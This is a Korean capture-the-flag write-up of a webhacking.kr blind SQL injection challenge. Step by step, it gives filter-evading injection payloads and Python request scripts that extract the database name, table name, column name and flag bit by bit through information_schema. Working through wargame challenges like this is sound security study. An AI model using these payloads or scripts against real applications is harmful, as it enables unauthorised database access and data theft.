SQL Injection
오랜만에 webhacking.kr문제를 풀어봤다
문제를 들어가면 SQL Injection이라고 써져있고 버튼 2개만 존재한다
1을 넣고 제출하면 result 1이 나오고 다른숫자를 넣으면 result 0이 나온다
아마도 blind sql injection문제인것 같다
우선 어떤걸 필터링 하는지 알아보면
괄호가 사용가능하니 얼마든지 blind sql injection을 수행할 수 있다
payload
https://buaii.notion.site/blind-SQL-injection-a5a80beac95941f893f3e685a3944748
payload
(0)or(if(length(database())in({}),1,0))
{}
자리에 1부터 하나씩 넣어서 길이를 체크했다
데이터베이스 이름의 길이는 7
길이를 알아냈으니 이제 이름을 알아내보자
payload
(0)or(if(substr(lpad(bin(ord(substr(database(),{},1))),7,0),{},1),1,0))
import requests
import json
result = ''
j = 1
database = ''
while j < 8:
for i in range(1,8):
url = 'http://webhacking.kr/challenge/web-10/index.php?no=(0)or(if(substr(lpad(bin(ord(substr(database(),{},1))),7,0),{},1),1,0))'.format(j,i)
res = requests.get(url)
if '<td>1</td>' in res.text:
result = result + '1'
else:
result = result + '0'
name = int(result,2)
database = database + chr(name)
j = j + 1
result = '0'
print(database)
print(f'Database name : {database}')
payload
(0)or(if((select(length(min(if((select(table_schema)in(database())),table_name,null))))from(information_schema.tables))in({}),1,0))
13에서 result 1이 나왔으니 길이는 13이다
이제 이름을 알아보자
payload
(0)or(if(substr(lpad(bin(ord(substr((select(min(if((select(table_schema)in(database())),table_name,null)))from(information_schema.tables)),{},1))),7,0),{},1),1,0))
import requests
import json
result = ''
j = 1
database = ''
while j < 14:
for i in range(1,8):
url = 'http://webhacking.kr/challenge/web-10/index.php?no=(0)or(if(substr(lpad(bin(ord(substr((select(min(if((select(table_schema)in(database())),table_name,null)))from(information_schema.tables)),{},1))),7,0),{},1),1,0))'.format(j,i)
res = requests.get(url)
if '<td>1</td>' in res.text:
result = result + '1'
else:
result = result + '0'
name = int(result,2)
database = database + chr(name)
j = j + 1
result = '0'
print(database)
print(f'Database name : {database}')
payload
if((select(length(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null))))from(information_schema.columns))in({}),1,0)
테이블 이름을 이진수로 넣어주어야 쿼리가 실행된다
13에서 result 1이 나왔다
이제 column이 무엇인지 알아보자
payload
(0)or(if(substr(lpad(bin(ord(substr((select(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)))from(information_schema.columns)),{},1))),7,0),{},1),1,0))
import requests
import json
result = ''
j = 1
database = ''
while j < 14:
for i in range(1,8):
url = 'http://webhacking.kr/challenge/web-10/index.php?no=(0)or(if(substr(lpad(bin(ord(substr((select(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)))from(information_schema.columns)),{},1))),7,0),{},1),1,0))'.format(j,i)
res = requests.get(url)
if '<td>1</td>' in res.text:
result = result + '1'
else:
result = result + '0'
name = int(result,2)
database = database + chr(name)
j = j + 1
result = '0'
print(database)
print(f'Database name : {database}')
table_name
과 column_name
모두 확인했으니 이제 데이터만 확인하면 된다
payload
if((select(length(max(flag_3a55b31d)))from(chall13.flag_ab733768))in({}),1,0)
이번엔 27에서 1이 나와서 조금 오래걸렸다
길이를 알아냈으니 이제 flag만 알아내면 된다
payload
(0)or(if(substr(lpad(bin(ord(substr((select(max(flag_3a55b31d))from(chall13.flag_ab733768)),{},1))),7,0),{},1),1,0))
import requests
import json
result = ''
j = 1
database = ''
while j < 28:
for i in range(1,8):
url = 'http://webhacking.kr/challenge/web-10/index.php?no=(0)or(if(substr(lpad(bin(ord(substr((select(max(flag_3a55b31d))from(chall13.flag_ab733768)),{},1))),7,0),{},1),1,0))'.format(j,i)
res = requests.get(url)
if '<td>1</td>' in res.text:
result = result + '1'
else:
result = result + '0'
name = int(result,2)
database = database + chr(name)
j = j + 1
result = '0'
print(database)
print(f'Database name : {database}')
sql injection은 참 재밌는 것 같다